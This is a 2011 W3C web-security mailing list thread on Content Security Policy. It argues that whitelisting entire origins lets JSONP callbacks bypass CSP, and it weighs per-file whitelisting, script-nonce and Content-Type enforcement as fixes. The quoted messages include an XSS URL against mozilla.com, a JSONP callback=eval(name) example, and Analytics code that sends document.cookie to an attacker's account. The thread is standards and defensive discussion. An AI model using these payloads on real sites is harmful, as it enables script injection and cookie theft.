- From: Adam Barth <w3c@adambarth.com>
- Date: Mon, 30 May 2011 15:24:44 -0700
- To: "sird@rckc.at" <sird@rckc.at>
- Cc: public-web-security@w3.org, masatokinugawa@gmail.com
On Mon, May 30, 2011 at 2:37 PM, sird@rckc.at <sird@rckc.at> wrote: > So you are saying a site using CSP should never include third party > scripts (eg. analytics, tynt, etc..). Including third-party content in your site is a risk. I'm not saying you shouldn't ever do it. I'm saying that it comes with risks. > Analytics for instance, creates the script dynamically, so you can't > just add a nonce to the script, you have to add it to the generated > script. Adsense is another thing, they might include scripts from even > more origins, and those are inserted by the remote script so it's > impossible to add nonces to them. Well, at least until Adsense adds support for CSP. These things all become easier when the third-party cooperates. > So if you want to use adsense, you can't use CSP. I haven't tried, but my guess is that's true today. > Also, if you want to use the AJAX APIs, or the Maps API, or the > Libraries APIs (http://code.google.com/apis/libraries/).. all of them > are out of reach of sites wanting to use CSP. Correct. CSP is not the solution to all the world's problems. > That last example is important given that the provided code is: > <script type="text/javascript" > src="https://www.google.com/jsapi?key=INSERT-YOUR-KEY"></script> > > And that will load scripts from even more places > (ajax.googleapis.com), which means that those scripts will simply > never have keys. > > script-nonce probably isn't the best way to solve this problem, but > being able to do: > > script-src: https://www.google.com/jsapi > > which doesn't mean that you trust > > https://www.google.com/reader/status?callback=pwn() I'm not sure I followed all of that. CSP makes it more difficult to integrate with third parties. If you whitelist a third party, they can do things that screw you. If you're worried about that, you might want to consider whether the risk is worth the reward. > Or is there any reason to allow access to an Origin instead of > something more granular? There are always use cases for more features. The question is where to draw the line so we can ship something. Adam > On Mon, May 30, 2011 at 4:28 PM, Adam Barth <w3c@adambarth.com> wrote: >> Lots of third-party interactions are tricky with CSP. For example, >> it's difficult to use CSP on sites that contain advertisements because >> those advertisements often end up including scripts from syndicates. >> >> I don't think being strict about Content-Type is going to solve the >> problem. You still have the problem today that application/javascript >> caries no authority without CSP and does carry authority with CSP. In >> the specific example, we're just getting lucky that YouTube is >> responding with application/json. It would be entirely reasonable for >> them to respond with application/javascript, especially because JSONP >> isn't valid JSON. >> >> One alternative, of course, is to use script-nonce, which lets the >> site whitelist individual script loads instead of blanket-allowing >> everything from an origin. >> >> Adam >> >> >> On Mon, May 30, 2011 at 2:20 PM, sird@rckc.at <sird@rckc.at> wrote: >>> Right, that's the problem. >>> >>> And to keep the web working, with Analytics, Tynt, etc.. people will >>> trust their site to one script in youtube.com but not to all services >>> that live there. >>> >>> A possible way to mitigate this problem, is if CSP forces Content-Type >>> to be valid (it would be weird if youtube echoe's back JSON as >>> text/javascript), or if Mozilla can just whitelist a specific file, >>> instead of whitelisting the whole origin. >>> >>> My point being, that whitelisting the whole origin and giving no more >>> granularity is not good enough for the type of applications that are >>> being created. If CSP accepted files, or directories it would help to >>> mitigate this problem. >>> >>> eg.: >>> >>> script-src: http://www.youtube.com/apis/video.js >>> >>> >>> or >>> >>> script-src: http://www.youtube.com/apis/*.js >>> >>> >>> Or, otherwise, what's the alternative that we give to Mozilla? Don't >>> use Youtube? (specially, since this is not a security problem for >>> Youtube, maybe they wont fix it.. there's no reason for them to, and >>> the problem is in Mozilla). >>> >>> Greetings >>> -- Eduardo >>> >>> >>> >>> >>> On Mon, May 30, 2011 at 3:12 PM, Adam Barth <w3c@adambarth.com> wrote: >>>> Ah, I understand. Sounds like YouTube isn't trustworthy. >>>> >>>> The more general problem is CSP imbues JavaScript responses with >>>> authority, which isn't how the rest of the web works. That means when >>>> sites, like YouTube, have reflections in their JavaScript, folks that >>>> trust them get in trouble. >>>> >>>> Adam >>>> >>>> >>>> On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote: >>>>> The XSS in mozilla is: >>>>> http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script> >>>>> >>>>> Youtube has a service that lets you export a video details with JSONp, >>>>> and accepts "callback". And callback is sanitized to only have >>>>> ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis. >>>>> >>>>> Greetings!! >>>>> -- Eduardo >>>>> >>>>> >>>>> >>>>> >>>>> On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote: >>>>>> I'm sorry. I'm not sure I follow. How is the attacker able to run >>>>>> the script below? I agree that once the attacker can run script in >>>>>> the honest site's security origin, the attacker has won. >>>>>> >>>>>> Adam >>>>>> >>>>>> >>>>>> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote: >>>>>>> It's an example :P >>>>>>> >>>>>>> but ok, let's say the attacker uses: >>>>>>> >>>>>>> var _gaq = _gaq || []; >>>>>>> _gaq.push(['_setAccount', 'UA-evil-1']); >>>>>>> _gaq.push(['_trackPageview']); >>>>>>> _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]); >>>>>>> >>>>>>> And uses google analytics to send data back to the attacker. >>>>>>> >>>>>>> Or let's say the attacker iframes youtube.com and loads a payload >>>>>>> inside a gadget in youtube. >>>>>>> >>>>>>> Or let's say the attacker does the attack directly with XHR. >>>>>>> >>>>>>> >>>>>>> -- Eduardo >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote: >>>>>>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote: >>>>>>>>> Hi List. >>>>>>>>> >>>>>>>>> I think this issue has came up before (can't find the thread but I've >>>>>>>>> seen it) and Masato (cc'd) brought this up to us recently. >>>>>>>>> >>>>>>>>> What can a CSP user do in the following case: >>>>>>>>> >>>>>>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they >>>>>>>>> use one of their scripts. >>>>>>>>> 2. Attacker is able to do >>>>>>>>> www.youtube.com/video/export?id=1337&callback=eval(name) >>>>>>>> >>>>>>>> Won't that be blocked because eval is blocked? >>>>>>>> >>>>>>>> Adam >>>>>>>> >>>>>>>> >>>>>>>>> 3. Then Mozilla isn't capable of protecting using CSP. >>>>>>>>> >>>>>>>>> In general, Mozilla can't realistically know all the things we put in >>>>>>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason >>>>>>>>> for them to fix it. And Mozilla might not be able to mirror the script >>>>>>>>> to their own servers because it might change at any moment, and their >>>>>>>>> site might break. >>>>>>>>> >>>>>>>>> Could it be possible to whitelist specific files, instead of complete >>>>>>>>> origins? Maybe even global expressions (e.g. >>>>>>>>> www.youtube.com/scripts/*.js)? >>>>>>>>> Or.. maybe Mozilla shouldn't trust Youtube at all? >>>>>>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP >>>>>>>>> document to have the right Content-Type. >>>>>>>>> >>>>>>>>> How does this apply for the use case of stats services, captcha, ads, >>>>>>>>> etc.. which all require external scripts? >>>>>>>>> >>>>>>>>> I think forcing the right Content-Type for scripts might be the best >>>>>>>>> solution, and maybe a rule to override this behavior, comments? >>>>>>>>> >>>>>>>>> Thanks!! >>>>>>>>> >>>>>>>>> -- Eduardo >>>>>>>>> >>>>>>>>> >>>>>>>> >>>>>>> >>>>>> >>>>> >>>> >>> >> >
Received on Monday, 30 May 2011 22:25:43 UTC